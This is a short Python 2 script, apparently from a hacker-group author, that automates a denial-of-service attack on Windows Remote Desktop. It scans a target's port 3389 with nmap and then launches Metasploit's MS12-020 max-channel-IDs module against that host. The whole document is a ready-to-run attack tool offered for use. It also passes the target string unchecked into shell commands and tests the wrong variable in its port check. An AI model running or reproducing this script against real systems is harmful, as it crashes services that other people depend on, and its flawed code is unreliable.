Rdp Exploit

#!/usr/bin/python
# jutthaxor@gmail.com
import os,sys,re,subprocess
print '''
+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+ +-+-+ +-+-+-+-+-+-+
|R|d|p| |A|u|t|o|E|x|p|l|o|i|t| |B|y| |S|t|o|k|e|r|
+-+-+-+ +-+-+-+-+-+-+-+-+-+-+-+ +-+-+ +-+-+-+-+-+-+
[!] Author - Muhammad Adeel aka Stoker
[!] Mail   - jutthaxor@gmail.com
[!] Greetz - Team Xploiters

[!] P.S : This Exploit is Based on => auxiliary/dos/windows/rdp/ms12_020_maxchannelids <='''
if os.getuid() != 0:
    print '\n\t\t[UnSufficient Priviliges]Error:You are Not Root!\n'
    sys.exit(1)
def help():
  if len(sys.argv) != 2:
    print """
    [!]Usage -   ./script.py [Target Host]
    [!]Example - ./script.py 127.0.0.1\n"""
    sys.exit(1)
help()
RHOST = sys.argv[1]
nmap = subprocess.Popen('nmap -p3389 %s -oN /tmp/nmap.txt' %RHOST, shell=True).wait()
nmapresul = open('/tmp/nmap.txt', 'rU')
found = nmapresul.read()
vulnerability = re.search(r'3389[/]tcp\sopen', found)
if not found:
  print "\n[!] Port 3389 is Close."
  sys.exit(1)
print '\n[!] Port Is Open. Let me try AutoRdp Exploit'
metasploit = subprocess.Popen('msfcli auxiliary/dos/windows/rdp/ms12_020_maxchannelids  RHOST=%s  RPORT=3389 E' %RHOST, shell=True).wait()
subprocess.Popen('rm -f /tmp/nmap.txt > /dev/null', shell=True).wait()
end = raw_input('Hit Enter to Exit.')